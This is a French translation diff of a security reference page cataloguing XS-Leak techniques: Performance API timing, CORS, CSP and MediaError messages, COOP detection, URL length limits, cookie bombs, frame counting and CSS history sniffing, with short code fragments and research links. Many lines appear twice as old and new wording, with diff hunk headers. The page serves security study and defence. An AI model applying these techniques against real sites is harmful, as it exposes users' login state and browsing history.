Nous avons trouvé un cas de fuite XS qui abuse du comportement de certains navigateurs qui enregistrent trop d'informations pour les requêtes d'origine croisée. La norme définit un sous-ensemble d'attributs qui doivent être définis à zéro pour les ressources d'origine croisée. Cependant, dans **SA**, il est possible de détecter si l'utilisateur est **redirigé** par la page cible, en interrogeant l'**API de Performance** et en vérifiant les **données de chronométrage redirectStart**.
### Duration Redirect Leak
### Fuite de Durée de Redirection
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirection
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** La durée des entrées de timing est négative lorsqu'une redirection se produit.
- **Summary:** La durée des entrées de chronométrage est négative lorsqu'une redirection se produit.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
Dans GC, la **durée** pour les requêtes qui entraînent une **redirection** est **négative** et peut donc être **distinguée** des requêtes qui ne résultent pas en une redirection.
Dans GC, la **durée** des requêtes qui entraînent une **redirection** est **négative** et peut donc être **distinguée** des requêtes qui ne résultent pas en une redirection.
### CORP Leak
### Fuite CORP
- **Inclusion Methods**: Frames
- **Detectable Difference**: En-tête
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Les ressources protégées par CORP ne créent pas d'entrées de timing de ressource.
- **Summary:** Les ressources protégées par CORP ne créent pas d'entrées de chronométrage des ressources.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Dans certains cas, l'entrée **nextHopProtocol** peut être utilisée comme une technique de fuite. Dans GC, lorsque l'en-tête **CORP** est défini, le nextHopProtocol sera **vide**. Notez que SA ne créera pas d'entrée de performance du tout pour les ressources activées par CORP.
@ -394,19 +394,19 @@ Dans certains cas, l'entrée **nextHopProtocol** peut être utilisée comme une
Les service workers sont des contextes de script déclenchés par des événements qui s'exécutent à une origine. Ils s'exécutent en arrière-plan d'une page web et peuvent intercepter, modifier et **mettre en cache des ressources** pour créer des applications web hors ligne.\
Si une **ressource mise en cache** par un **service worker** est accédée via **iframe**, la ressource sera **chargée à partir du cache du service worker**.\
Pour détecter si la ressource a été **chargée à partir du cache du service worker**, l'**API de Performance** peut être utilisée.\
Cela pourrait également être fait avec une attaque de timing (voir le document pour plus d'infos).
Cela pourrait également être fait avec une attaque de chronométrage (voir le document pour plus d'infos).
### Cache
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **Detectable Difference**: Chronométrage
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
- **Summary:** Il est possible de vérifier si une ressource a été stockée dans le cache.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
En utilisant l'[API de Performance](./#performance-api), il est possible de vérifier si une ressource est mise en cache.
### Network Duration
### Durée Réseau
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Contenu de la page
@ -414,9 +414,9 @@ En utilisant l'[API de Performance](./#performance-api), il est possible de vér
- **Summary:** Il est possible de récupérer la durée réseau d'une requête à partir de l'API `performance`.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Error Messages Technique
## Technique des Messages d'Erreur
### Media Error
### Erreur Média
- **Inclusion Methods**: Éléments HTML (Vidéo, Audio)
- **Detectable Difference**: Code d'état
@ -470,7 +470,7 @@ err.message +
audioElement.onerror = errHandler
}
```
L'interface `MediaError` a une propriété message qui identifie de manière unique les ressources qui se chargent avec succès grâce à une chaîne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de réponse d'une ressource cross-origin.
L'interface `MediaError` a une propriété message qui identifie de manière unique les ressources qui se chargent avec succès grâce à une chaîne distincte. Un attaquant peut exploiter cette fonctionnalité en observant le contenu du message, déduisant ainsi l'état de la réponse d'une ressource cross-origin.
### Erreur CORS
@ -480,7 +480,7 @@ L'interface `MediaError` a une propriété message qui identifie de manière uni
- **Résumé :** Dans les Assertions de Sécurité (SA), les messages d'erreur CORS exposent involontairement l'URL complète des requêtes redirigées.
- **Exemple de code** : [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Cette technique permet à un attaquant d'**extraire la destination d'une redirection d'un site cross-origin** en exploitant la manière dont les navigateurs basés sur Webkit gèrent les requêtes CORS. Plus précisément, lorsqu'une **requête activée CORS** est envoyée à un site cible qui émet une redirection basée sur l'état de l'utilisateur et que le navigateur refuse ensuite la requête, l'**URL complète de la cible de la redirection** est divulguée dans le message d'erreur. Cette vulnérabilité révèle non seulement le fait de la redirection, mais expose également le point de terminaison de la redirection et tout **paramètre de requête sensible** qu'il peut contenir.
Cette technique permet à un attaquant d'**extraire la destination d'une redirection d'un site cross-origin** en exploitant la manière dont les navigateurs basés sur Webkit gèrent les requêtes CORS. Plus précisément, lorsqu'une **requête CORS activée** est envoyée à un site cible qui émet une redirection basée sur l'état de l'utilisateur et que le navigateur refuse ensuite la requête, l'**URL complète de la cible de la redirection** est divulguée dans le message d'erreur. Cette vulnérabilité révèle non seulement le fait de la redirection, mais expose également le point de terminaison de la redirection et tout **paramètre de requête sensible** qu'il peut contenir.
### Erreur SRI
@ -497,10 +497,10 @@ Un attaquant peut exploiter des **messages d'erreur verbeux** pour déduire la t
- **Méthodes d'inclusion** : Pop-ups
- **Différence détectable** : Code d'état
- **Plus d'infos** : [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Résumé :** En n'autorisant que le site de la victime dans le CSP, si nous y accédons et qu'il essaie de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
- **Résumé :** En autorisant uniquement le site des victimes dans le CSP, si nous y accédons et qu'il essaie de rediriger vers un domaine différent, le CSP déclenchera une erreur détectable.
- **Exemple de code** : [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
Un XS-Leak peut utiliser le CSP pour détecter si un site cross-origin a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais de plus, le domaine de la cible de redirection fuit. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois qu'une requête est émise vers le domaine cible, il **redirige** vers un domaine cross-origin. **Le CSP bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut fuir l'emplacement cible de la redirection**.\
Un XS-Leak peut utiliser le CSP pour détecter si un site cross-origin a été redirigé vers une autre origine. Cette fuite peut détecter la redirection, mais de plus, le domaine de la cible de redirection fuit. L'idée de base de cette attaque est de **permettre le domaine cible sur le site de l'attaquant**. Une fois qu'une requête est émise vers le domaine cible, il **redirige** vers un domaine cross-origin. **CSP bloque** l'accès à celui-ci et crée un **rapport de violation utilisé comme technique de fuite**. Selon le navigateur, **ce rapport peut fuir l'emplacement cible de la redirection**.\
Les navigateurs modernes n'indiqueront pas l'URL vers laquelle il a été redirigé, mais vous pouvez toujours détecter qu'une redirection cross-origin a été déclenchée.
### Cache
@ -511,7 +511,7 @@ Les navigateurs modernes n'indiqueront pas l'URL vers laquelle il a été rediri
- **Résumé :** Effacer le fichier du cache. Ouvre la page cible et vérifie si le fichier est présent dans le cache.
- **Exemple de code :**
Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Indépendamment de leur origine, il est possible de déduire si une page cible a **demandé un fichier spécifique**.
Les navigateurs peuvent utiliser un cache partagé pour tous les sites web. Quel que soit leur origine, il est possible de déduire si une page cible a **demandé un fichier spécifique**.
Si une page charge une image uniquement si l'utilisateur est connecté, vous pouvez **invalider** la **ressource** (pour qu'elle ne soit plus mise en cache si elle l'était, voir les liens d'informations supplémentaires), **effectuer une requête** qui pourrait charger cette ressource et essayer de charger la ressource **avec une mauvaise requête** (par exemple, en utilisant un en-tête referer trop long). Si le chargement de la ressource **n'a pas déclenché d'erreur**, c'est parce qu'elle a été **mise en cache**.
@ -523,14 +523,14 @@ Si une page charge une image uniquement si l'utilisateur est connecté, vous pou
- **Résumé :** Les directives d'en-tête CSP peuvent être sondées à l'aide de l'attribut iframe CSP, révélant des détails sur la politique.
- **Exemple de code** : [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Une nouvelle fonctionnalité dans Google Chrome (GC) permet aux pages web de **proposer une Politique de Sécurité de Contenu (CSP)** en définissant un attribut sur un élément iframe, avec des directives de politique transmises avec la requête HTTP. Normalement, le contenu intégré doit **autoriser cela via un en-tête HTTP**, sinon une **page d'erreur est affichée**. Cependant, si l'iframe est déjà régie par un CSP et que la nouvelle politique proposée n'est pas plus restrictive, la page se chargera normalement. Ce mécanisme ouvre une voie pour un attaquant afin de **détecter des directives CSP spécifiques** d'une page cross-origin en identifiant la page d'erreur. Bien que cette vulnérabilité ait été marquée comme corrigée, nos découvertes révèlent une **nouvelle technique de fuite** capable de détecter la page d'erreur, suggérant que le problème sous-jacent n'a jamais été complètement résolu.
Une nouvelle fonctionnalité dans Google Chrome (GC) permet aux pages web de **proposer une Politique de Sécurité de Contenu (CSP)** en définissant un attribut sur un élément iframe, avec des directives de politique transmises avec la requête HTTP. Normalement, le contenu intégré doit **autoriser cela via un en-tête HTTP**, sinon une **page d'erreur est affichée**. Cependant, si l'iframe est déjà régie par un CSP et que la nouvelle politique proposée n'est pas plus restrictive, la page se chargera normalement. Ce mécanisme ouvre une voie pour un attaquant de **détecter des directives CSP spécifiques** d'une page cross-origin en identifiant la page d'erreur. Bien que cette vulnérabilité ait été marquée comme corrigée, nos découvertes révèlent une **nouvelle technique de fuite** capable de détecter la page d'erreur, suggérant que le problème sous-jacent n'a jamais été complètement résolu.
### **CORP**
- **Méthodes d'inclusion** : Fetch API
- **Différence détectable** : En-tête
- **Plus d'infos** : [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Résumé :** Les ressources sécurisées par la Politique de Ressource Cross-Origin (CORP) généreront une erreur lorsqu'elles sont récupérées depuis une origine non autorisée.
- **Résumé :** Les ressources sécurisées par la Politique de Ressources Cross-Origin (CORP) généreront une erreur lorsqu'elles sont récupérées depuis une origine non autorisée.
- **Exemple de code** : [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
L'en-tête CORP est une fonctionnalité de sécurité relativement nouvelle sur la plateforme web qui, lorsqu'elle est définie, **bloque les requêtes cross-origin sans CORS vers la ressource donnée**. La présence de l'en-tête peut être détectée, car une ressource protégée par CORP **générera une erreur lorsqu'elle est récupérée**.
@ -540,7 +540,7 @@ L'en-tête CORP est une fonctionnalité de sécurité relativement nouvelle sur
- **Méthodes d'inclusion** : Éléments HTML
- **Différence détectable** : En-têtes
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Résumé** : CORB peut permettre aux attaquants de détecter quand l'**en-tête `nosniff` est présent** dans la requête.
- **Résumé :** CORB peut permettre aux attaquants de détecter quand l'**en-tête `nosniff` est présent** dans la requête.
- **Exemple de code** : [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Vérifiez le lien pour plus d'informations sur l'attaque.
@ -556,7 +556,7 @@ Vérifiez le lien pour plus d'informations sur l'attaque.
Dans le cas où l'**en-tête Origin** est **réfléchi** dans l'en-tête `Access-Control-Allow-Origin`, un attaquant peut abuser de ce comportement pour essayer de **récupérer** la **ressource** en mode **CORS**. Si une **erreur** **n'est pas** déclenchée, cela signifie qu'elle a été **correctement récupérée depuis le web**, si une erreur est **déclenchée**, c'est parce qu'elle a été **accédée depuis le cache** (l'erreur apparaît parce que le cache enregistre une réponse avec un en-tête CORS autorisant le domaine d'origine et non le domaine de l'attaquant).\
Notez que si l'origine n'est pas réfléchie mais qu'un caractère générique est utilisé (`Access-Control-Allow-Origin: *`), cela ne fonctionnera pas.
## Technique des attributs lisibles
## Technique des Attributs Lisibles
### Redirection Fetch
@ -573,10 +573,10 @@ En soumettant une requête en utilisant l'API Fetch avec `redirect: "manual"` et
- **Méthodes d'inclusion** : Pop-ups
- **Différence détectable** : En-tête
- **Plus d'infos** : [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Résumé :** Les pages protégées par la Politique d'Ouverture Cross-Origin (COOP) empêchent l'accès aux interactions cross-origin.
- **Résumé :** Les pages protégées par la Politique de Ouverture Cross-Origin (COOP) empêchent l'accès aux interactions cross-origin.
- **Exemple de code** : [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Un attaquant est capable de déduire la présence de l'en-tête Politique d'Ouverture Cross-Origin (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications web pour empêcher les sites externes d'obtenir des références de fenêtres arbitraires. La visibilité de cet en-tête peut être discernée en tentant d'accéder à la **référence `contentWindow`**. Dans les scénarios où COOP est appliqué de manière conditionnelle, la **propriété `opener`** devient un indicateur révélateur : elle est **indéfinie** lorsque COOP est actif, et **définie** en son absence.
Un attaquant est capable de déduire la présence de l'en-tête Politique de Ouverture Cross-Origin (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications web pour empêcher les sites externes d'obtenir des références de fenêtres arbitraires. La visibilité de cet en-tête peut être discernée en tentant d'accéder à la **référence `contentWindow`**. Dans les scénarios où COOP est appliqué de manière conditionnelle, la **propriété `opener`** devient un indicateur révélateur : elle est **indéfinie** lorsque COOP est actif, et **définie** en son absence.
### Longueur Max de l'URL - Côté Serveur
@ -586,10 +586,10 @@ Un attaquant est capable de déduire la présence de l'en-tête Politique d'Ouve
- **Résumé :** Détecter les différences dans les réponses en raison de la longueur de la réponse de redirection qui pourrait être trop grande pour que le serveur réponde avec une erreur et qu'une alerte soit générée.
- **Exemple de code** : [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Si une redirection côté serveur utilise **des entrées utilisateur à l'intérieur de la redirection** et **des données supplémentaires**. Il est possible de détecter ce comportement car généralement **les serveurs** ont une **limite de longueur de requête**. Si les **données utilisateur** sont de cette **longueur - 1**, parce que la **redirection** utilise **ces données** et **ajoute** quelque chose **de supplémentaire**, cela déclenchera une **erreur détectable via les Événements d'Erreur**.
Si une redirection côté serveur utilise **des entrées utilisateur à l'intérieur de la redirection** et **des données supplémentaires**. Il est possible de détecter ce comportement car généralement **les serveurs** ont une **limite de longueur de requête**. Si les **données utilisateur** sont de cette **longueur - 1**, parce que la **redirection** utilise **ces données** et **ajoute** quelque chose **d'extra**, cela déclenchera une **erreur détectable via les Événements d'Erreur**.
Si vous pouvez d'une manière ou d'une autre définir des cookies pour un utilisateur, vous pouvez également effectuer cette attaque en **définissant suffisamment de cookies** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) donc avec la **taille de réponse augmentée** de la **réponse correcte**, une **erreur** est déclenchée. Dans ce cas, rappelez-vous que si vous déclenchez cette requête depuis un même site, `<script>` enverra automatiquement les cookies (vous pouvez donc vérifier les erreurs).\
Un exemple de **cookie bomb + XS-Search** peut être trouvé dans la solution prévue de ce rapport : [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
Un exemple de **cookie bomb + XS-Search** peut être trouvé dans la solution prévue de cette rédaction : [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` ou être dans le même contexte est généralement nécessaire pour ce type d'attaque.
@ -601,13 +601,13 @@ Un exemple de **cookie bomb + XS-Search** peut être trouvé dans la solution pr
- **Résumé :** Détecter les différences dans les réponses en raison de la longueur de la réponse de redirection qui pourrait être trop grande pour qu'une différence puisse être remarquée.
- **Exemple de code** : [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Selon [la documentation de Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la longueur maximale d'URL de Chrome est de 2 Mo.
Selon la [documentation de Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la longueur maximale d'URL de Chrome est de 2 Mo.
> En général, la _plateforme web_ n'a pas de limites sur la longueur des URL (bien que 2^31 soit une limite courante). _Chrome_ limite les URL à une longueur maximale de **2 Mo** pour des raisons pratiques et pour éviter de causer des problèmes de déni de service dans la communication inter-processus.
Par conséquent, si l'**URL de redirection répond est plus grande dans l'un des cas**, il est possible de la faire rediriger avec une **URL plus grande que 2 Mo** pour atteindre la **limite de longueur**. Lorsque cela se produit, Chrome affiche une page **`about:blank#blocked`**.
La **différence notable**, est que si la **redirection** a été **complétée**, `window.origin` génère une **erreur** car un cross-origin ne peut pas accéder à cette info. Cependant, si la **limite** a été \*\*\*\* atteinte et que la page chargée était **`about:blank#blocked`**, l'**origine** de la fenêtre reste celle du **parent**, ce qui est une **information accessible**.
La **différence notable**, est que si la **redirection** a été **complétée**, `window.origin` génère une **erreur** car une origine croisée ne peut pas accéder à cette info. Cependant, si la **limite** a été \*\*\*\* atteinte et que la page chargée était **`about:blank#blocked`**, l'**origine** de la fenêtre reste celle du **parent**, ce qui est une **information accessible**.
Toutes les informations supplémentaires nécessaires pour atteindre les **2 Mo** peuvent être ajoutées via un **hash** dans l'URL initiale afin qu'il soit **utilisé dans la redirection**.
@ -630,7 +630,7 @@ Si le **nombre max** de **redirections** à suivre d'un navigateur est **20**, u
- **Méthodes d'inclusion** : Frames, Pop-ups
- **Différence détectable** : Redirections
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Résumé :** Le code JavaScript manipule l'historique du navigateur et peut être accédé par la propriété length.
- **Résumé :** Le code JavaScript manipule l'historique du navigateur et peut être accessible par la propriété length.
- **Exemple de code** : [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
L'**API History** permet au code JavaScript de manipuler l'historique du navigateur, qui **enregistre les pages visitées par un utilisateur**. Un attaquant peut utiliser la propriété length comme méthode d'inclusion : pour détecter la navigation JavaScript et HTML.\
@ -663,52 +663,52 @@ console.log(await debug(win, "https://example.com/?a=b"))
```
### Comptage de Cadres
- **Méthodes d'inclusion** : Cadres, Pop-ups
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Cadres, Pop-ups
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Résumé :** Évaluer la quantité d'éléments iframe en inspectant la propriété `window.length`.
- **Exemple de code** : [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
- **Exemple de Code** : [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Compter le **nombre de cadres dans un web** ouvert via `iframe` ou `window.open` peut aider à identifier le **statut de l'utilisateur sur cette page**.\
De plus, si la page a toujours le même nombre de cadres, vérifier **en continu** le nombre de cadres peut aider à identifier un **modèle** qui pourrait divulguer des informations.
Un exemple de cette technique est que dans Chrome, un **PDF** peut être **détecté** avec **le comptage de cadres** car un `embed` est utilisé en interne. Il existe des [paramètres d'URL ouverts](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) qui permettent un certain contrôle sur le contenu tel que `zoom`, `view`, `page`, `toolbar` où cette technique pourrait être intéressante.
Un exemple de cette technique est que dans Chrome, un **PDF** peut être **détecté** avec **le comptage de cadres** car un `embed` est utilisé en interne. Il existe des [Paramètres d'URL Ouverts](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) qui permettent un certain contrôle sur le contenu tel que `zoom`, `view`, `page`, `toolbar` où cette technique pourrait être intéressante.
### Éléments HTML
- **Méthodes d'inclusion** : Éléments HTML
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Résumé :** Lire la valeur divulguée pour distinguer entre 2 états possibles
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
La fuite d'informations à travers les éléments HTML est une préoccupation en matière de sécurité web, en particulier lorsque des fichiers multimédias dynamiques sont générés en fonction des informations de l'utilisateur, ou lorsque des filigranes sont ajoutés, modifiant la taille du média. Cela peut être exploité par des attaquants pour différencier entre des états possibles en analysant les informations exposées par certains éléments HTML.
### Informations Exposées par les Éléments HTML
- **HTMLMediaElement** : Cet élément révèle la `duration` et les temps `buffered` du média, qui peuvent être accessibles via son API. [En savoir plus sur HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement** : Cet élément révèle la `durée` et les temps `buffered` du média, qui peuvent être accessibles via son API. [En savoir plus sur HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement** : Il expose `videoHeight` et `videoWidth`. Dans certains navigateurs, des propriétés supplémentaires comme `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, et `webkitDecodedFrameCount` sont disponibles, offrant des informations plus détaillées sur le contenu multimédia. [En savoir plus sur HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()** : Cette fonction fournit des détails sur la qualité de lecture vidéo, y compris `totalVideoFrames`, qui peut indiquer la quantité de données vidéo traitées. [En savoir plus sur getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement** : Cet élément divulgue la `height` et la `width` d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction `image.decode()` sera rejetée, indiquant l'échec de chargement correct de l'image. [En savoir plus sur HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLImageElement** : Cet élément divulgue la `hauteur` et la `largeur` d'une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction `image.decode()` sera rejetée, indiquant l'échec de chargement correct de l'image. [En savoir plus sur HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### Propriété CSS
- **Méthodes d'inclusion** : Éléments HTML
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Résumé :** Identifier les variations dans le style du site web qui correspondent à l'état ou au statut de l'utilisateur.
- **Exemple de code** : [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
- **Exemple de Code** : [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Les applications web peuvent changer le **style du site web en fonction du statut de l'utilisateur**. Des fichiers CSS cross-origin peuvent être intégrés sur la page de l'attaquant avec l'**élément de lien HTML**, et les **règles** seront **appliquées** à la page de l'attaquant. Si une page change dynamiquement ces règles, un attaquant peut **détecter** ces **différences** en fonction de l'état de l'utilisateur.\
En tant que technique de fuite, l'attaquant peut utiliser la méthode `window.getComputedStyle` pour **lire les propriétés CSS** d'un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l'élément affecté et le nom de la propriété sont connus.
### Historique CSS
- **Méthodes d'inclusion** : Éléments HTML
- **Différence détectable** : Contenu de la page
- **Méthodes d'Inclusion** : Éléments HTML
- **Différence Détectable** : Contenu de la Page
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Résumé :** Détecter si le style `:visited` est appliqué à une URL indiquant qu'elle a déjà été visitée
- **Exemple de code** : [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
- **Exemple de Code** : [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Selon [**ceci**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), cela ne fonctionne pas dans Chrome sans tête.
@ -725,113 +725,113 @@ Pour plus de détails sur ces propriétés et méthodes, visitez leurs pages de
- `getComputedStyle()` : [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode` : [Documentation MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### Fuite X-Frame de ContentDocument
### Fuite X-Frame du Document de Contenu
- **Méthodes d'inclusion** : Cadres
- **Différence détectable** : En-têtes
- **Méthodes d'Inclusion** : Cadres
- **Différence Détectable** : En-têtes
- **Plus d'infos** : [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Résumé :** Dans Google Chrome, une page d'erreur dédiée est affichée lorsqu'une page est bloquée d'être intégrée sur un site cross-origin en raison des restrictions X-Frame-Options.
- **Exemple de code** : [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
- **Exemple de Code** : [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Dans Chrome, si une page avec l'en-tête `X-Frame-Options` défini sur "deny" ou "same-origin" est intégrée en tant qu'objet, une page d'erreur apparaît. Chrome retourne de manière unique un objet document vide (au lieu de `null`) pour la propriété `contentDocument` de cet objet, contrairement aux iframes ou à d'autres navigateurs. Les attaquants pourraient exploiter cela en détectant le document vide, révélant potentiellement des informations sur l'état de l'utilisateur, surtout si les développeurs définissent de manière incohérente l'en-tête X-Frame-Options, négligeant souvent les pages d'erreur. La sensibilisation et l'application cohérente des en-têtes de sécurité sont cruciales pour prévenir de telles fuites.
### Détection de Téléchargement
- **Méthodes d'inclusion** : Cadres, Pop-ups
- **Différence détectable** : En-têtes
- **Méthodes d'Inclusion** : Cadres, Pop-ups
- **Différence Détectable** : En-têtes
- **Plus d'infos** : [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Résumé :** Un attaquant peut discerner les téléchargements de fichiers en utilisant des iframes ; l'accessibilité continue de l'iframe implique un téléchargement de fichier réussi.
- **Exemple de code** : [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
- **Exemple de Code** : [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
L'en-tête `Content-Disposition`, spécifiquement `Content-Disposition: attachment`, indique au navigateur de télécharger le contenu plutôt que de l'afficher en ligne. Ce comportement peut être exploité pour détecter si un utilisateur a accès à une page qui déclenche un téléchargement de fichier. Dans les navigateurs basés sur Chromium, il existe quelques techniques pour détecter ce comportement de téléchargement :
1. **Surveillance de la barre de téléchargement** :
